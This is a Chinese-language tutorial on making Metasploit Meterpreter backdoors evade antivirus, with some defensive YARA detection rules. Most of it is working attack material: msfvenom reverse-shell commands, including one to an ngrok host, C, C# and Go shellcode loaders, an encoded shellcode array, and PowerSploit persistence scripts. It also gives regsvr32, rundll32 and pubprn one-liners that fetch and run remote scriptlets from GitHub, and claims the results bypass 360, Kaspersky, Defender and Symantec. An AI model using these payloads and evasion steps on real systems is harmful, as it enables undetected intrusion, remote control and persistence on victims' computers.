Meterpreter的免杀详解

0×01 静态检测与对抗

1.静态分析原理  

简单的来说，就是通过特征码识别静态文件，杀软会扫描存在磁盘上的镜像文件，如果满足特征码，就识别为恶意软件。

恶意软件匹配规则yara匹配恶意软件的时候就是用的这样的方式。

通过特征来识别抓HASH工具QuarksPwDump，yara规则如下（查看源码)

/*

  This Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as long as you use it under this license.

*/

rule QuarksPwDump_Gen : Toolkit {

meta:

description = "Detects all QuarksPWDump versions"

author = "Florian Roth"

date = "2015-09-29"

score = 80

hash1 = "2b86e6aea37c324ce686bd2b49cf5b871d90f51cec24476daa01dd69543b54fa"

hash2 = "87e4c76cd194568e65287f894b4afcef26d498386de181f568879dde124ff48f"

hash3 = "a59be92bf4cce04335bd1a1fcf08c1a94d5820b80c068b3efe13e2ca83d857c9"

hash4 = "c5cbb06caa5067fdf916e2f56572435dd40439d8e8554d3354b44f0fd45814ab"

hash5 = "677c06db064ee8d8777a56a641f773266a4d8e0e48fbf0331da696bea16df6aa"

hash6 = "d3a1eb1f47588e953b9759a76dfa3f07a3b95fab8d8aa59000fd98251d499674"

hash7 = "8a81b3a75e783765fe4335a2a6d1e126b12e09380edc4da8319efd9288d88819"

strings:

$s1 = "OpenProcessToken() error: 0x%08X" fullword ascii

$s2 = "%d dumped" fullword ascii

$s3 = "AdjustTokenPrivileges() error: 0x%08X" fullword ascii

$s4 = "\\SAM-%u.dmp" fullword ascii

condition:

all of them

}

可以看到匹配匹配$s1 $s2 $s3 $s4全部四条规则及标记为识别。

当然还有通过md5、sha1来计算文件hash识别恶意软件，最简单粗暴而且有效，但是也很容易绕过，也有分段进行hash来识别相似度的方法，原理和上面的特征码识别都是一样的，这里不再赘述。

2.对抗静态分析

1.修改特征码

特征码的识别也有一些不同的方式，最开始是使用单个特征码来定位，就有了与之对抗的ccl，随着对抗技术的升级，就有了多条的特征码，对应的也就有了mutilccl, myccl, virtest，甚至现在github上的自动化特征码识别，技术越来越多样。

修改特征码最重要的是定位特征码，但是定位了特征码修改后并不代表程序就能正常运行，费时费力，由于各个杀软厂商的特征库不同，所以一般也只能对一类的杀软起效果。虽然效果不好，但有时候在没有源码的情况下可以一用。

虽然meterpreter对于我们来说是开源的，但是偶尔编译出来的文件修改一些小地方就能让杀软直接报废，也算是一个保留方法吧，这里限于篇幅我就不贴代码和操作了。    

2.加壳

加壳虽然对于特征码绕过有非常好的效果，加密壳基本上可以把特征码全部掩盖，但是缺点也非常的明显，因为壳自己也有特征。在某些比较流氓的国产杀软的检测方式下，主流的壳如VMP, Themida等，一旦被检测到加壳直接弹框告诉你这玩意儿有问题，虽然很直接，但是还是挺有效的。有些情况下，有的常见版本的壳会被直接脱掉分析。  

面对这种情况可以考虑用一切冷门的加密壳，有时间精力的可以基于开源的压缩壳改一些源码，效果可能会很不错。    

总得来说，加壳的方式来免杀还是比较实用的，特别是对于不开源的PE文件，通过加壳可以绕过很多特征码识别。

3.shellcode 编译

metasploit是我认为世界上最好用的渗透测试工具。  

msfvenom不仅提供多种格式的payload，其中就包括shellcode。shellcode对于源码免杀来说基本上是最好用的那种，绕过静态杀软的神器。   

shellcode编译的具体方式请参考我之前的文章meterpreter技巧分享，这里不再赘述。  

使用msfvenom选择encoder的时候大家一般都会选择shikata_ga_nai这个编码方式（因为x86的encoder里只有它的Rank是excellent），这个encoder的解码和编码过程都是随机生成的。（编码过程可参考源码）。    

但是，这个编码内容是有特征的，经过shikata_ga_nai 编码之后的shellcode必定含有\xd9\x74\x24\xf4 这串16进制字符，我写了一个yara规则可以轻松检测到由 shikata_ga_na编码的shellcode，规则如下：

rule Metasploit_Encoder_shikata_ga_nai :decoder {

meta:

description = "Detects shikata_ga_nai encode shellcode"

author = "Green-m"

date = "2017-11-27"

strings:

$hex_string = { d9 7424 f4 ( ?? ?? | ?? ?? ?? ?? ?? ?? ?? ) c9 b1 }

condition:

$hex_string

}

测试结果如图： 

当然不止是 shikata_ga_na 编码方式，其他的编码方式特征可能更加明显（x86/fnstenv_mov 的编码方式就被很多杀软能直接检测到，远不如 shikata_ga_na）。那么如果要对抗这样的情况，只能自己再将编码过后的shellcode进行编码或者加密。     

我这里写一个简单的xor作为demo供大家感受一下，代码如下：

unsignedchar shellcode[]=

"\x33\xc9\xb1\xc6\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe6";

// the key to xor

unsignedchar key[]="\xcc\0xfa\0x1f\0x3d";

// encode shellcode

     for ( i=0; i<(sizeof(shellcode)-1) ; i=i+1)

     {

          shellcode[i]=shellcode[i]^key[i % sizeof(key)];

     }

// decoder

voiddecode()

{

for (i=0; i<(sizeof(shellcode)-1); i+=1)

     shellcode[i]=shellcode[i]^key[i%sizeof(key)];

}

voidexecuteShellcode()

{

     decode();

     // run shellcode

}

4.shellcode植入后门

目前有不少文章和工具都提供了植入后门的方法。例如shellter，the-backdoor-factory，工具的功能都很强大。  

这里介绍一下手动在code cave（代码间隙）植入后门的方法，整体流程如图：    

其中比较关键的部分是调整堆栈平衡，通过sub esp, 或者add esp, 来调整堆栈，否则执行完payload后的正常程序会崩溃。  

如果没有适合大小的code cave或者payload 的非常大，这个时候可能需要多个code cave一起使用，关键部分如下图流程   

还可以结合上一部分的编码或加密，免杀效果很好，大部分的杀软都直接GG .  

5.多平台多语言

同一种编译器生成的PE文件在某些区段上是有相同或相近的二进制字节的，杀软在收集同一方式生成的大量木马后，很容易就将这些PE文件的特征提取出来加以识别（例如现在msfvenom直接生成的exe就是这样的）。因此，通过更改编译环境，让被识别的特征码改变，达到免杀的目的，改变语言也是同样的思路。    

linux下的跨编译器有mingw-w64, tdm-gcc等，veil-evasion的c语言编译器是用的mingw64，而AVET的编译器用的是tdm-gcc，最开始使用时效果还是不错的，用得多了杀软开始有意的提取这些编译器编译后的特征码，就被一杀一个准了。   

 veil作为一个持续更新的免杀框架，利用多种语言进行编译，来实现绕过特征码免杀的目的，使用的语言包括c, python,  ruby,  perl,  powershell,  c#,  go 等，再通过pytoexe或者 pywin32来转换python代码成exe，来保持自己木马的多样性（payload生成源码）。  

当然还有更猥琐的方式，如转换成js,php,sct等非编译型语言执行，这里就不详细展开了，有兴趣的自己去了解。

6.小结

静态免杀大概就这样方法，有时候需要结合多种方法一起使用，当然在没有源码的前提下一般都采用第一种和第二种方法，当然也可以考虑反汇编加花加空等修改源码，这样需要投入更多的时间和精力，也对操作者有更高的技能要求。

0×02 流量检测与对抗

1.Meterpreter的传输加载   

要知道meterpreter的流量特征，首先要搞清楚meterpreter的传输方式。

metasploit的木马分为两个大类，staged 和stageless 。    

staged类型的木马的运行流程为：

客户端在从服务器端接收stager后，stager由引导代码loader和payload组成，客户端在内存中分配一段地址将payload暂存起来，再通过loader来加载内存中的payload。这种内存中注入PE文件的方式称为反射型DLL注入。  

stageless的则是将完整的payload都编译在木马中，相对与staged的木马来说，前者体积庞大不灵活，而且容易被杀。

我们以windows/meterpreter/reverse_tcp为例，下面是部分源码（完整源码）

 # Generate and compile the stager

  #

  defgenerate_reverse_tcp(opts={})

    combined_asm = %Q^

      cld                    ; Clear the direction flag.

      call start             ; Call start, this pushes the address of 'api_call' onto the stack.

      #{asm_block_api} ; To find some functions address such as VirutalAlloc()

      start:

        pop ebp

      #{asm_reverse_tcp(opts)} ; Send and recvice socket connection

      #{asm_block_recv(opts)} ; Do some stuff after recvied payload

    ^

    Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string

  end

asm_block_api 部分是用来定义查询API调用地址的函数。   

asm_reverse_tcp 部分是用来发送socket请求的。  

asm_block_recv 部分是建立连接后，接收服务端发送的stager，再通过 VirtualAlloc() 分配RWX权限的内存，然后执行后续。  

那么大家可以看到，这部分建客户端发起连接的过程其实是没有什么特征的，特征主要是在服务端发送的stager，接下来让我们详细看看发送的stager里是什么。

为了让客户端运行服务端发送的meterpreter payload，需要先发送一个加载meterpreter_loader，这个引导代码的源码如下（完整源码地址）：

def asm_invoke_metsrv(opts={})

    ^

    asm = %Q^

        ; prologue

        

          dec ebp              ; 'M'

          pop edx              ; 'Z'

          call $+5              ; call next instruction

          pop ebx              ; get the current location (+7 bytes)

          push edx              ; restore edx

          inc ebp              ; restore ebp

          push ebp              ; save ebp for later

          mov ebp, esp          ; set up a new stack frame

        ; Invoke ReflectiveLoader()

          ; add the offset to ReflectiveLoader() (0x????????)

          

          add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}

          call ebx              ; invoke ReflectiveLoader()

        ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)

          ; offset from ReflectiveLoader() to the end of the DLL

          add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}

这段代码主要作用是加载反射性注入的引导代码ReflectiveLoader，通过ReflectiveLoader来加载meterpreter及相关配置。由于篇幅原因，这里我们不深究反射性注入的详细加载方式，知道大概原理即可，如果有兴趣可以阅读源码理解。  

2.Meterpreter检测 

这段meterpreter_loader是固定的一段汇编代码，通过nasm将该部分汇编代码转化为机器码如下（可能随环境变化）：

4d5ae8000000005b52455589e581c364130000ffd381c395a40200893b536a0450ffd0

该16进制字符串即为meterpreter的特征。为了验证思路，通过抓取流量来查看发送的payload，可以看到传输后发送的payload最开始的部分就是上面的机器码，如图所示：  

编写一个yara规则来测试是否能检测到（yara除了能检测静态PE格式文件，也能检测流量文件，当然你也可以使用snort），规则如下：  

rule Metasploit_Meterpreter_Loader :RAT{

meta:

description = "Detects Metasploit Meterpreter Windows Reverse Stager"

author = "Green-m"

date = "2017-12-11"

strings:

$hex_string = { 4d 5a e8 00 00 00 00 5b 52 45 55 89 e5 81 c3 64 13 00 00 ff d3 81 c3 95 a4 02 00 89 3b 53 6a 04 50 ff d0 }

condition:

$hex_string

}

用yara检测传输的流量包，瞬间检测到，如图所示：

注：如果用该yara规则直接检测进程中的内存的话，不管流量怎么加密最终都会解密，然后被yara检测到meterpreter_loader，除了效率较低之外，能绕过就只能靠修改源码了。

这里限于篇幅限制，其他payload的流量特征请各位看官自己去摸索测试，这里就不多浪费篇幅。

3.对抗流量检测  

既然流量是有特征的，那么有没有办法对流量进行加密呢，答案是肯定的，通过在服务端设置

set EnableStageEncoding true

set StageEncoder x86/fnstenv_mov

效果如图所示，（当然这里的stagerencoder可以任意选）

发送出去的stager就被编码过了，从流量看都是被编码过的数据，看不出来任何特征，如图：

如果你觉得这种对流量进行编码的方式也不够保险，那么msf还提供了偏执模式（paranoid-mode），可以用证书对流量进行加密。

具体操作方法可以参考官方文档或者我的博客。

0×03 动态监测对抗

静态检测和流量监测都说到了，接下来我们说如何对抗沙盒。要做到完全对抗沙盒工程量是很大的，这里我们只讲一些猥琐的小技巧来骗过杀软的沙盒分析。

杀毒软件最大的问题就是面对成千上万的文件，如何最快速度的扫描完所有的文件，而不浪费大量的性能在单个文件上（在扫描过程中把机器卡死是相当糟糕的体验）。要做到这个，需要在大量的文件中进行合理的取舍。

1.sleep 

在很早的对抗杀软的技术中，通过一个sleep，占用大量的时间，就能够绕过杀软的动态分析，当然现在这样肯定是不行的了。推测杀软会hook 系统sleep函数，然后直接略过，直接后面的代码，这样是最聪明和省事儿的方法了。为了验证想法，我们通过一段代码来测试一下。

为了除去别的容易干扰的因素，我选择使用固定的一种编译器对shellcode进行编译。

直接编译生成，virustotal的结果如下，19/67

添加如下的代码之后再进行检测：

time_begin = GetTickCount() ;

Sleep(5555);

time_end = GetTickCount();

DWORD time_cost = time_end - time_begin;

if((time_cost > time_sleep+5) || (time_cost < (time_sleep - 5)))

{return0;}

runshellcode();

检测16/66  

虽然只减少了3个，不过也说明部分杀软还是吃这一套。。

2.NUMA

NUMA代表Non Uniform Memory Access（非一致内存访问）。它是一个在多系统中配置内存管理的方法。它与定义在Kernel32.dll中所有一系列函数连接在一起。

更多的信息可以参考官方文档：

http://msdn.microsoft.com/en-us/library/windows/desktop/aa363804(v=vs.85).aspx

代码如下：

address = VirtualAllocExNuma(handle, NULL, sizeof(buf), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE,0);

if (address == NULL){return0;}

runshellcode();

检测结果17/67，又少了两个。

 

0×04 生成shellcode免杀

手动编译meterpreter并对shellcode进行编码就能绕过静态查杀，meterpreter本身就是直接加载进内存并且有编码，绕过动态查杀基本没问题(当然你也可以使用veil-evasion，不过效果不怎么好)。

msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' lhost=192.168.1.200 lport=4444   -f c

上述命令生成在之前的基础上生成基于c语言格式的shellcode，通过e参数指定编码方式，i参数指定编码次数，b参数去除指定代码，一般是空代码或者错误代码，-f指定生成格式。

unsigned char buf[] =

shellcode is here

main()

{

( (void(*)(void))&buf)();

}

这种方式vc++6.0能够成功编译，但是vs编译会报错，可以换成：

main()

{

Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

memcpy(Memory, buf, sizeof(buf));

((void(*)())Memory)();

}

还有很多其他的方法，这里就不一一测试了。

友情提示：在实战情况下，免杀效果会根据编译器和系统环境而变化，可以多准备一些环境进行免杀工作。

通过上述方法编译生成的exe可以绕过几乎100%杀软，包括360，卡巴斯基，小红伞等杀软。

0×05 选择payload进行免杀

上面生成shellcode的方式是针对杀软静态免杀的，接下来说到动态行为免杀。
在对市面上主流的杀软进行测试的过程中，发现symantec会在meterpreter回连成功，从metasploit里接受数据的时候报毒。
无论是自己手动编码编译还是msf自动生成的exe都会这样被报毒。
经过笔者自己测试，使用reverse_https等payload可以anti symantec。

msfvenom -p  windows/meterpreter/reverse_https  lhost=192.168.1.200 lport=443   -f c

但是需要在metasploit设置：

set EnableStageEncoding true

set stageencoder x86/fnstenv_mov

set stageencodingfallback false

将控制端向被控制端发送的stage进行编码，从而绕过symantec的查杀。

同样，使用reverse_tcp_rc4也有同样的效果，而且不用设置stageencoder选项，更稳定更方便。

msfvenom -p  windows/meterpreter/reverse_tcp_rc4  lhost=192.168.1.200 lport=4444 RC4PASSWORD=Green-m  -f c

利用rc4对传输的数据进行加密，密钥在生成时指定，在监听的服务端设置相同的密钥。就可以在symantec眼皮地下执行meterpreter。

这里做一个抛砖引玉的作用，其他payload的查杀效果需要各大黑客自己去测试。

0×06 meterpreter常驻的免杀

常见的添加meterpreter 常驻的方法无非两种：persistence和metsvc。这两种方法效果还是不错的，不过在面对杀软的时候无能为力，几乎100%被杀。

下面介绍几种能绕过杀软的添加自启动方法。

1.使用exploit/windows/local/registry_persistence

通过用户自己指定payload及编码方式，将shellcode添加到注册表，然后再利用powershell加载该shellcode，成功运行meterpreter。

由于加载的payload是由metasploit指定，每次都不一定一样，这个方法在面对大部分主流AV的时候简直强大，只要不监视注册表操作不限制powershell，几乎不会被杀。

同类型的还有其他payload，如exploit/windows/local/vss_persistence，exploit/windows/local/s4u_persistence，有的效果也不错，如添加计划任务启动的功能，但或多或少都有一些限制，总体说来不如上面讲到的方法。

2.利用powershell

powershell因为其特性，被很多杀毒软件直接忽视，因此用这个方法经常能达到出其不意的效果

其实这个方式和第一种原理都是一样，不过自定义的powershell脚本效果更佳。

这里可以利用一个工具powersploit，下面用它来示范一个简单的例子。

Import-Module .\Persistence\Persistence.psm1

$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle

$UserOptions =New-UserPersistenceOption -ScheduledTask -Hourly

Add-Persistence -FilePath .\Green_m.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose

其中Green_m.ps1是加载有payload的powershell脚本文件，你可以用msf生成一个加载meterpreter的ps1文件。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.200 lport=4444 -f psh-reflection -o Green_m.ps1

当然你也可以选择不执行powershell文件而直接执行某个PE文件，可以通过将代码赋予变量来执行。

$Green_m = { c:\windows\system32\notepad.exe }

$ElevatedOptions =New-ElevatedPersistenceOption -PermanentWMI -AtStartup

$UserOptions =New-UserPersistenceOption -ScheduledTask -Hourly

Add-Persistence -ScriptBlock $Green_m -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $Us erOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1

powersploit还有其他非常有用的功能，有兴趣可以自己去github或者使用get-help查询。

0x07 meterpreter免杀木马实战

1.制作免杀木马后门

首先，在kali中用msfvenom生成一个payload

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’lhost=server.ngrok.cc lport=11206 -f c

上面命令中，-p选择指定payload，–e选择制定编码器（不同编码器免杀效果也有不同，部分编码器应对火绒等杀软效果显著）， -i 编码次数，-b 去多余/坏字符，lhost是你申请的ngrok服务器地址 lport是自定义的远程端口，-f 生成指定格式。

我这里选择生成基于C语言的数组，当然你也可以用以下命令直接得到exe木马，但这样免杀效果会打折扣，经笔者测试多次，重复编码12次后免杀效果非常强大！

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’lhost=server.ngrok.cc lport=11206 -f exe > haya.exe

然后复制buf数组

在win7下用VC6.0对下面代码进行编译，得到木马。

#include <stdio.h>

#pragmacomment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//运行时不显示窗口

unsignedchar buf[] =

"buf数组";//将复制的数组粘贴到此处

main()

{

((void(*)(void))&buf)();

}

2.Metasploit控制客户机

切到Kali，使用Metasploit进行监听。

设置监听攻击模块，监听载荷，IP（kali本机），端口（ngrok里自定义的本地端口），然后exp。

use exploit/multi/handler

set payloadswindows/meterpreter/reverset_tcp

set lhost 192.168.1.130

set lport 12345

exploit

 

当客户机执行木马后，得到一个meterpreter，可以进行的操作你懂的哈哈。

通过上述步骤得到的木马经过笔者测试可以通过360，腾讯管家，Windows defender，小红伞等杀毒软件的查杀。动态免杀中，对于360，如果exe没有放在C盘或者U盘运行就可以做到动态免杀，仅仅会在拍照等特敏感操作会有提示，其他操作全程不报毒，defender和腾讯管家就更弱了，拍照也不会有任何提示。

 

0x08 Veil-Evasion+Metasploit免杀

1.简介

Veil-Evasion是一个用python写的流行的框架。我们可以用这个框架生成能够规避大多数杀软的载荷。Veil-Evasion被原生设计为在kali上，但其实存在python环境的系统上应该都能运行。

你可以用命令行轻松调用Veil-Evasion，按菜单选项生成payload。在创建payload的时候，Veil-Evasion会询问你是否想把payload文件用Pyinstaller或者Py2Exe转为可执行文件。

2.安装

下载

官网：http://www.veil-framework.com/

github项目地址：http://github.com/Veil-Framework/Veil-Evasion

安装

kali linux可以直接

apt-get install veil-evasion

git克隆安装：

git clone http://github.com/Veil-Framework/Veil-Evasion.git

cd Veil-Evasion/setup

./install-addons.sh

3.使用

payload列表

使用use、list可以列出当前可用的模块

简单实例

我们利用这个payload

6) 　c/meterpreter/rev_tcp

这里，我们输入命令：

use 6

或者

use c/meterpreter/rev_tcp

我们只需配置一下options就可以了，包括监听地址，端口，是否生成exe

这里，我们仅配置一下地址，然后run/generate(生成)：

set LHOST 192.168.1.114

generate

payload路径：/var/lib/veil-evasion/output/source/

测试360查杀：

设置监听：

当payload在目标机器运行后，获得session:

 

0x09 TheFatRat：Msfvenom免杀后门生成工具

1.下载

https://github.com/screetsec/thefatrat

本工具能使用msfvenom生成后门，程序能够用meterpreter reverse_tcp payload编译C语言程序，并能够绕过杀软。

2.开始使用

git clone https://github.com/Screetsec/TheFatRat.git

cd TheFatrat

apt-get update

apt-get install mingw32 backdoor-factory

如果提示没有安装MinGW或无法找到包

3.运行

提取lalin-master to your home or another folder

chmod +x fatrat

chmod +x powerfull.sh

./fatrat

然后根据选项输入相应数字

使用截图

4.查毒

 

 

 

0x10 免杀MSF Windows Payload 的方法与实践

1.准备 Payload

这个过程比较简单，大多数人应该都会。我们这里使用 msfvenom 生成一个 x86 的 Meterpreter 的 Payload 为例，直接上命令：

msfvenom  -p windows/meterpreter/reverse_https -a x86 -f csharp --platform windows -o https.csharp -b "\x00\xff" LHOST=192.168.1.222 LPORT=443 PrependMigrate=true PrependMigrateProc=svchost.exe

大部分参数都不用过多解释了，常用 MSF 的人都知道。需要说明的是，我们要借助于 C# 来执行生成的 Payload，所以格式要选择为 csharp，而最后两个参数（PrependMigrate 和 PrependMigrateProc）是指明 Payload 执行后要将自己注入到一个新创建的宿主 svchost.exe 进程中去。

生成的结果如下图（cat 命令显示的结果有问题，不用管它）：

2.准备 C# 工程

我们需要创建一个 C# 工程，我这里使用 Visual Studio 2017。新建一个空白的 C# 的 Console 工程，.Net Framework 版本选择 2.0（保证兼容性）。

将如下代码黏贴覆盖到 Program.cs 中：

using System;

using System.Threading;

using System.Runtime.InteropServices;

namespace MSFWrapper

{

    public class Program

    {

        public Program()

        {

RunMSF();

        }

        public static void RunMSF()

        {

            byte[] MsfPayload = {

            //Paste your Payload here

        };

            IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);

Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);

CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);

Thread.Sleep(2000);

        }

        public static void Main()

        {

        }

[DllImport("kernel32.dll")]

        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]

        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

    }

}

然后将先前生成的 Payload 的黏贴到代码中注释为“//Paste your Payload here”的地方。保存代码后，修改该工程的属性，将输出类型改为“Windows 应用程序”，启动对象改为“MSFWrapper.Program”, 然后保存。 增加 Release 版的 x86 编译对象，然后生成出 MSFWrapper.exe。

3.转换 MSFWrapper.exe 为 js 文件

这里要用到一个非常流弊的工具 DotNetToJScript，这是一款可以将 .net 程序转换为 jscript 代码的。工具下载地址：

https://github.com/tyranid/DotNetToJScrip

使用如下命令进行转换：

F:\t00ls>DotNetToJScript.exe -l=JScript -o=MSFWrapper.js -c=MSFWrapper.Program MSFWrapper.exe

然后我们就可以用下面的命令执行我们的 MSF Payload：

C:\windows\SysWOW64\cscript.exe /e:JScript MSFWrapper.js

这里一定要注意，因为我们生成的 Payload 跟 exe 都是 32 位的，所以这里也要用 32 的 cscript.exe 去执行。切记！

4.进一步猥琐化

sct 大法

既然能够转换为 js 代码，那么我们自然会想到 sct 大法的应用。我们将转换后的 js 代码黏贴到下面代码中的“//paste code here”：

<?XML version="1.0"?>

<scriptlet>

<registration

progid="Msf"

classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >

    <script language="JScript">

    //paste code here

    </script>

</registration>

</scriptlet>

保存为 msf.sct（后缀名可以更改，比如 jpg 等）并上传至 Web Server 然后在目标机器上执行如下命令：

F:\t00ls>c:\windows\SysWOW64\regsvr32 /s /u /n /i:https://raw.githubusercontent.com/Moriarty2016/Screenshots/master/msf.sct c:\windows\SysWOW64\scrobj.dll''

另外，我们也可以使用 script 或者 scriptlet 的方式来深度利用，这里我们要使用 DotNetToJSCript.exe 的 -m 参数来生成 scriptlet 文件，命令如下：

DotNetToJScript.exe -m -o=msf2.sct -c=MSFWrapper.Program MSFWrapper.exe

将 msf2.sct 文件上传到 Web Server 上，然后用如下命令在目标环境中执行：

F:\t00ls>c:\windows\syswow64\rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/Moriarty2016/Screenshots/master/msf2.sct");this.close()

当然，如果目标环境是 Windows 7 以上版本，还可以这样：

F:\t00ls>c:\windows\SysWOW64\cscript.exe c:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:https://raw.githubusercontent.com/Moriarty2016/Screenshots/master/msf2.sct

 

 

 

 

0x11 msf反弹后门的免杀Tips

1.思路

我以前接触过一款python的远控，其实说是远控，基本也就是nc的功能加了一个服务端的web页面控制并加了一些其他的功能可以用来管理诸多客户机
这款远控我下载下来用过，并用pyinstaller打包成了exe（缺点是体积太过庞大），惊奇的是，360不杀它，然后自己想着其他语言是不是也会这样，于是我用golang写了一个简易版nc反弹，编译之后，也是不查杀的。python和golang有一个共同点，就是可以用来内联C编程，所以C语言的shellcode按理说应该会达到同样的效果

2.得到shellcode

msfvenom -p windows/meterpreter/reverse_tcp LPORT=5555 LHOST=192.168.1.100 -e x86/shikata_ga_nai -i 11 -f py > 1.py

建议是生成32位的，如果想生成64位也可以，-e x86/shikata_ga_nai -i 11是指用x86/shikata_ga_nai编码迭代11次，然后生成py文件
py文件打开是shellcode，我们接下来对它进行一点小改造，对于python去执行shellcode的方法，相信小伙伴都已经不陌生，在《python灰帽子》中有讲解，我今天要使用的是golang，其实个人认为golang执行shellcode的代码是更简洁的

3.Golang环境搭建

安装Golang32位（建议32位，与前面对应，在测试过程中，如果32位shellcode配合64位golang加32位gcc，就算把golang的GOARCH改为386也依旧会失败，建议一一对应），安装gcc32位（可以使用TDM-GCC）

4.代码编写

package main

/*

void call(char *code) {

    int (*ret)() = (int(*)())code;

    ret();

}

*/

import "C"

import "unsafe"

func main() {

    buf := ""

    buf += "\xdd\xc6\xd9\x74\x24\xf4\x5f\x33\xc9\xb8\xb3\x5e\x2c"

    buf += "\xc9\xb1\x97\x31\x47\x1a\x03\x47\x1a\x83\xc7\x04\xe2"

    buf += "\x46\x84\xfd\x72\xee\x0e\xb5\x96\x37\x04\x6d\x63\x9f"

    buf += "\xcc\xa4\x3a\x8e\x8c\xf7\x39\x81\xca\xe4\x42\xff\xce"

    buf += "\xa3\xa2\xdb\x06\xc0\x3f\xaf\x41\x73\xba\xf7\x20\x13"

    buf += "\x98\x8c\xff\xfa\x0a\xda\x6e\xf2\x6d\xc3\x81\x07\xc0"

    buf += "\x1b\x37\xeb\xa2\xa9\x32\x71\xaf\xe9\x20\xd1\xaa\x9e"

    buf += "\xbd\x82\xf3\x81\x1f\xab\xbf\xc4\xd9\x6c\x75\x37\x3a"

    buf += "\x53\x78\x90\x79\xaf\x93\x1b\xb3\x15\x09\xe5\x45\x5c"

    buf += "\x26\x0f\x0d\x16\x52\xf1\x8a\x7e\x8b\xc4\x50\x8e\x0a"

    buf += "\x38\x2f\x2b\x40\x73\x0b\xf0\x51\x5f\xc6\xbf\x04\x47"

    buf += "\x80\x36\xe5\x88\x88\xb3\xfc\xa0\x52\xfe\x92\x81\x8d"

    buf += "\x89\xf2\x6a\xcc\x7f\x9a\xe9\x1a\x30\x73\xa3\x63\x42"

    buf += "\x10\xe9\xcf\x62\xe4\x06\x52\xe1\x8d\x88\xfe\x52\xc4"

    buf += "\xc3\xed\x7a\x0e\x66\x5f\x8c\x2c\xef\xfa\xbd\x8c\x79"

    buf += "\x6c\x01\xe3\x5c\xde\xc4\x8a\x4c\x7d\x34\x32\xb5\x23"

    buf += "\x56\x6c\x52\x3f\x15\x26\x6a\xf8\x6b\x81\x2c\x23\x8d"

    buf += "\x41\x6e\x24\x30\xc6\xcb\xba\x26\xd4\x3b\x37\xd3\xc6"

    buf += "\xa8\x5a\x16\x8f\x1e\x27\xca\xcb\xda\x7f\x74\x62\xb2"

    buf += "\x62\xa6\xb1\xfc\x64\x53\x3a\xa7\xa4\x21\x3d\x79\x08"

    buf += "\x06\x74\x2a\xa2\xe7\x0d\x68\x16\xa3\x96\xe5\xad\x32"

    buf += "\x10\xa3\x0f\x49\xc3\x69\xa7\x5b\x61\x1a\xf8\x1d\x9e"

    buf += "\x9b\x3a\x00\xfc\x18\xc3\x42\x1a\xd6\x44\x5d\xfe\xc5"

    buf += "\xb6\x68\xd2\xad\x24\xda\x74\xa7\xf3\x66\x9a\x42\x7a"

    buf += "\x50\xf0\x0b\x47\xbc\xad\x6c\x1e\xca\xbe\x90\xca\xc3"

    buf += "\x8e\x5b\xde\x66\xe2\xb3\x20\x6f\x38\x17\xc1\xac\xfb"

    buf += "\xd3\x2f\x91\xa7\xff\x65\xd7\xd0\x25\x4c\xd4\xb3\x35"

    buf += "\x38\xa1\x82\xb8\x23\x42\xe9\xa5\x95\x8e\xc4\x35\xca"

    buf += "\x92\xfe\xde\x62\x70\xd6\x7a\x7f\xfd\xfb\xf0\x24\xbd"

    buf += "\x5d\x6d\x3d\x13\xbc\x1d\x25\x54\x9d\x0e\x68\xc8\x9a"

    buf += "\x10\x87\xf0\xc9\xac\x37\x57\x84\x23\x5f\x8a\xc0\xab"

    buf += "\x52\x6e\xae\x79\xa2\xdb\xff\xd8\x41\x28\x8b\xd3\x9d"

    buf += "\x68\x3c\x55\xf2\xfe\x0c\x8a\x38\xdf\xb3\x80\x9b\x70"

    buf += "\x2b\x4e\xe1\xfa\x0b\xfe\xf5\xc3\x1a\x0d\x83\xb0\x69"

    buf += "\xd0\x68\xfb\xe0\xae\xbd\x56\x52\x17\x9a\xf8\x8f\xc0"

    buf += "\x14\x8c\xb0\xf7\x0e\x87\xfa\x54\xf4\x04\x4a\x5a\xc8"

    buf += "\x89\x57\x0e\xbf\x7a\x76\x9b\xfe\xb8\x5f\x31\x42\xec"

    buf += "\xaf\x18\x9e\x3f\xf0\x09\x79\x86\xb3\x08\x29\x50\xfd"

    buf += "\xc3\x46\x7d\x24\x51\x5b\xd0\x81\x19\x6f\xc2\x2c\x17"

    buf += "\xab\xa3\xb7\xd9\x6f\x82\xd9\x37\x5f\x38\x01\xd8\xfd"

    buf += "\xfd\x11\x22\x61\xd0\x92\x45\x37\x4f\x6c\x4e\x91\x3b"

